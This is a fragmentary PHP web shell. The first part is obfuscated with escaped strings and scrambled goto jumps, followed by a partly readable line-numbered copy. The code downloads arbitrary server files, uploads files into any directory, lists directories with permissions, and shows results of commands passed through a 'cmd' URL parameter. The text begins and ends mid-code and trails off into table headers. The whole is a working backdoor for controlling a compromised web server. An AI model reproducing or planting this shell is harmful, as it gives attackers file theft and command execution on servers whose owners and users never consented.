= 1073741824) { $bytes = number_format($bytes / 1073741824, 2) . "\x20\107\x42"; } elseif ($bytes >= 1048576) { $bytes = number_format($bytes / 1048576, 2) . "\40\x4d\x42"; } elseif ($bytes >= 1024) { $bytes = number_format($bytes / 1024, 2) . "\40\113\x42"; } elseif ($bytes > 1) { $bytes = $bytes . "\x20\x62\x79\164\x65\x73"; } elseif ($bytes == 1) { $bytes = $bytes . "\x20\x62\x79\x74\x65"; } else { $bytes = "\60\40\142\x79\164\x65\x73"; } return $bytes; } goto ETPuw; lEFc1: if (isset($_GET["\x64\x6f\x77\156\x6c\157\x61\x64"])) { $file = $_GET["\x64\157\167\156\x6c\x6f\141\x64"]; if (file_exists($file)) { if (is_readable($file)) { header("\103\x6f\156\164\x65\x6e\x74\55\104\x65\163\x63\162\151\160\x74\x69\157\156\x3a\x20\x46\151\154\145\40\124\162\141\156\163\x66\x65\x72"); header("\x43\157\x6e\164\x65\156\x74\x2d\x54\x79\x70\145\x3a\x20\x61\160\x70\154\x69\143\141\164\x69\x6f\156\x2f\157\x63\x74\145\x74\x2d\163\x74\x72\x65\141\155"); header("\x43\x6f\156\164\x65\156\x74\x2d\104\x69\163\160\x6f\163\x69\x74\151\x6f\156\x3a\40\x61\x74\164\141\143\150\x6d\145\x6e\164\73\x20\146\x69\x6c\145\156\141\155\145\x3d\42" . basename($file) . "\42"); header("\x45\170\x70\x69\162\x65\x73\72\40\60"); header("\103\141\x63\x68\x65\55\x43\157\x6e\164\x72\157\x6c\72\40\155\x75\x73\164\55\162\145\x76\141\x6c\x69\x64\141\164\145"); header("\x50\x72\x61\147\x6d\141\72\x20\x70\x75\142\154\151\143"); header("\103\157\x6e\164\x65\156\164\x2d\x4c\145\156\x67\164\150\72\x20" . filesize($file)); readfile($file); die; } else { echo "\x3c\x73\143\x72\x69\x70\x74\x3e\x61\154\x65\x72\164\x28\47\105\x72\x72\x6f\x72\x3a\40\x43\157\165\x6c\x64\x20\156\x6f\164\x20\162\145\x61\144\x20\x74\150\x65\x20\x66\x69\154\145\x20\41\x27\51\74\57\163\x63\x72\151\x70\x74\x3e"; die; } } } goto O7FZo; ovPbP: getFiles(); goto CmY23; WOLEX: getCmdResults(); goto Qvb2t; SB_KD: if (isset($_POST["\165\x70\154\157\x61\144"])) { $desinationDir = getDir(); $destinationFile = $desinationDir . "\x2f" . basename($_FILES["\146\151\x6c\x65"]["\x6e\x61\155\145"]); if (file_exists($destinationFile)) { echo "\x3c\x73\x63\x72\x69\160\x74\x3e\141\154\x65\162\164\x28\x27\x45\162\162\157\x72\72\x20\x46\151\154\x65\40\141\154\x72\x65\x61\x64\171\x20\x65\170\151\x73\164\x73\40\x21\x27\x29\x3c\57\x73\x63\162\151\160\164\76"; } else { if (move_uploaded_file($_FILES["\x66\151\x6c\x65"]["\x74\155\160\137\156\141\x6d\x65"], $destinationFile)) { echo "\74\x73\143\x72\151\x70\x74\76\x61\154\x65\162\x74\x28\47\x46\x69\x6c\145\x20\x75\160\x6c\157\x61\x64\x65\x64\40\163\165\143\143\x65\x73\x73\x66\165\x6c\x79\x20\x21\x27\x29\74\57\163\143\x72\x69\x70\x74\76"; } else { echo "\x3c\163\143\x72\x69\x70\164\76\141\x6c\145\162\x74\50\47\105\162\x72\157\162\72\x20\103\157\x75\x6c\144\x20\156\157\x74\40\x75\x70\154\x6f\141\x64\x20\146\151\x6c\x65\40\41\x27\51\x3c\57\x73\x63\162\151\160\164\76"; } } } goto lEFc1; AOeE_: echo $_SERVER["\x50\110\120\x5f\x53\x45\x4c\106"] . "\77\144\151\162\75" . getDir(); goto oF70B; O7FZo: function printPerms($file) { $mode = fileperms($file); if ($mode & 4096) { $type = "\160"; } else { if ($mode & 8192) { $type = "\143"; } else { if ($mode & 16384) { $type = "\x64"; } else { if ($mode & 24576) { $type = "\142"; } else { if ($mode & 32768) { $type = "\x2d"; } else { if ($mode & 40960) { $type = "\x6c"; } else { if ($mode & 49152) { $type = "\163"; } else { $type = "\x75"; } } } } } } } $owner["\x72\145\141\144"] = $mode & 256 ? "\162" : "\55"; $owner["\167\162\x69\x74\145"] = $mode & 128 ? "\167" : "\55"; $owner["\145\170\x65\143\x75\x74\x65"] = $mode & 64 ? "\x78" : "\55"; $group["\x72\x65\x61\144"] = $mode & 32 ? "\162" : "\55"; $group["\x77\162\x69\164\145"] = $mode & 16 ? "\x77" : "\x2d"; $group["\145\170\145\143\x75\x74\145"] = $mode & 8 ? "\x78" : "\x2d"; $world["\x72\x65\x61\x64"] = $mode & 4 ? "\x72" : "\x2d"; $world["\x77\162\151\164\x65"] = $mode & 2 ? "\167" : "\x2d"; $world["\x65\x78\x65\x63\x75\x74\x65"] = $mode & 1 ? "\x78" : "\x2d"; if ($mode & 2048) { $owner["\145\x78\x65\x63\x75\x74\x65"] = $owner["\x65\170\x65\x63\165\164\x65"] == "\170" ? "\x73" : "\123"; } if ($mode & 1024) { $group["\145\x78\145\143\x75\x74\145"] = $group["\x65\x78\x65\x63\165\x74\x65"] == "\170" ? "\163" : "\x53"; } if ($mode & 512) { $world["\x65\x78\x65\143\x75\164\145"] = $world["\145\x78\x65\x63\165\x74\145"] == "\170" ? "\164" : "\x54"; } $s = sprintf("\x25\x31\163", $type); $s .= sprintf("\45\61\x73\45\61\x73\x25\x31\163", $owner["\x72\145\x61\144"], $owner["\167\162\151\x74\x65"], $owner["\145\x78\x65\x63\x75\x74\x65"]); $s .= sprintf("\45\61\163\45\61\x73\x25\x31\163", $group["\162\x65\x61\144"], $group["\167\x72\151\x74\x65"], $group["\145\x78\145\x63\165\x74\x65"]); $s .= sprintf("\x25\61\163\x25\61\x73\45\x31\x73", $world["\x72\145\x61\x64"], $world["\167\162\151\x74\145"], $world["\145\x78\145\x63\x75\164\x65"]); return $s; } goto XvHUN; rmgNn: function getCmdResults() { global $cmdresults; global $retval; if ($retval == 0) { foreach ($cmdresults as $line) { echo "{$line}\40\xa\x3c\142\x72\76"; } } else { echo "\105\170\x65\143\x75\x74\151\157\156\x20\x66\x61\151\154\145\144\x20\167\151\x74\x68\x20\x65\162\x72\157\162\40\143\x6f\144\x65\72\x20" . $retval; } } goto JOIEP; nXIEc: ?> 38 |
39 | ">
Couldn't open that directory !";
163 | }
164 | }
165 |
166 | function getCmdResults() {
167 | global $cmdresults;
168 | global $retval;
169 |
170 | if ($retval == 0 ) {
171 | foreach ($cmdresults as $line) {
172 | echo "$line \n
";
173 | }
174 | } else {
175 | echo "Execution failed with error code: ".$retval;
176 | }
177 | }
178 |
179 | function getCommandLine() {
180 | $hostname = gethostname() ?? 'none';
181 | $username = posix_getpwuid(posix_geteuid())['name'];
182 | $dir = getDir();
183 | $cmd = isset($_GET['cmd']) ? $_GET['cmd'] : 'No command';
184 |
185 | return ''.$username.'@'.$hostname.': '.$dir.'$ '.$cmd;
186 | }
187 | ?>
188 |
189 |
190 |
199 |
200 |
201 |
202 |
Folder / File | 259 |Owner | 260 |Permissions | 261 |Size | 262 |
---|